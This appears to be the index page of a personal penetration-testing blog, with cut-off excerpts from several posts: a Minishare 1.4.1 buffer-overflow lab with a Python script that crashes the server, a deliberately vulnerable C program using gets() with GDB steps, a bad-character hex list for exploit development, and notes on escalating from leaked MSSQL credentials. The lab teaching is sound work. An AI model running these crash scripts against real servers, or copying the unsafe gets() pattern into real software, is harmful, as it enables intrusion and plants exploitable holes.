JUZ P3NT3$T (-)@$(-)!M

              In one of my pentest engagement the scope was to test  a website abc.com/xyz/pqr.html and its mobile application. The website seems to be stronger and I was not able to find any vulnerability. So I switched to mobile application. When I was testing the mobile application, I was doing code analysis and found a URL in the code which was invoking a web service. The URL is as follows. https://abc.com/InstaWebServices/services/VersionCheck

       This blog is all about Exploit Research Video #3 form Pentester Academy/Security Tube. The exploit Research Megaprimer can be found on http://www.securitytube.net/groups?operation=view&groupId=7 Here I will be demonstrating buffer overflow on a strcpy or echo server that is written in c programming language by Vivek Ramachandran. All you need to do is double click on the Server-strcpy.exe file to run the server. Configuration/Setup:

You can download the server from: https://www.dropbox.com/s/zhivgb79wtbce37/minishare-1.4.1.exe?dl=0 Exploit code in ruby: https://www.exploit-db.com/exploits/616/ The vulnerability is a long URL in the GET request. Eg:- GET AAAAAAAAAAAAAAAA..... HTTP/1.1 Lab Setup: 1) Windows xp ( I am using windows xp sp1) 2) Immunity debugger installed on the windows xp machine. 3) Minishare 1.4.1 installed on windows xp running on port 80. 2) Kali linux for scripting and exploiting. Configure the victim: I have installed Minishare server 1.4.1 and it is listening for connections on port 80, as depicted below. Generate Sample script to crash: We will try to smash the stack by sending a buffer of 2000 A's with the help of the following script. #!/usr/share/python import socket,sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((sys.argv[1],80)) buff="GET " buff+="A"*2000 buff+=" HTTP/1.1\r\n\r\n" s.send(buff) s.close...

     In few of me internal pentest engagement I was able to enumerate IP and credentials of database server, either by brute-forcing or searching the code for database connect string.      In last 6months I got the database credentials twice in client side code excluding the successful brute-force.     Previously when I use to get the credentials, I try to connect the server using a local client. Eg. If I get credentials of MS SQL Server then I download some client for it and try to view the database.     This time I was not really interested in doing that. Instead I was thinking to escalate my privilege and do something more than just viewing the database, because when I was reading the walk-through of Kioptrix it states that we can gain code execution using some commands executing in sql format.    So I googled ways to enumerate mssql and I got a very good link https://www.offensive-security.com/...

Security tube smashing the stack part 1 Vulnerable code #include <unistd.h> #include <stdio.h> GetInput() {    char buff[8];    gets(buff);    puts(buff); } int main() {    GetInput();    return 0; } #way to compile gcc -ggdb -mpreferred-stack-boundary=2 -o demo sec_tube.c #way to overflow printf "123456789abcdefgh" | ./demo #GDB Commands list  // to list the program list 1 // to list first funcation break 12  //to set the break poin on line 12 disas main // to disasamble main function run // to run the program s  //step fwd x/8xw $esp  // get nxt 8 words from stack (prob) print /x $eip   // to print value of eip

Buffer overflow for Minishare 1.4.1 Coming soon!!!!!!!!!!!!!!! Drop Box URL https://www.dropbox.com/s/zhivgb79wtbce37/minishare-1.4.1.exe?dl=0 Series of hex characters, to determine bad character for exploit development. "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\...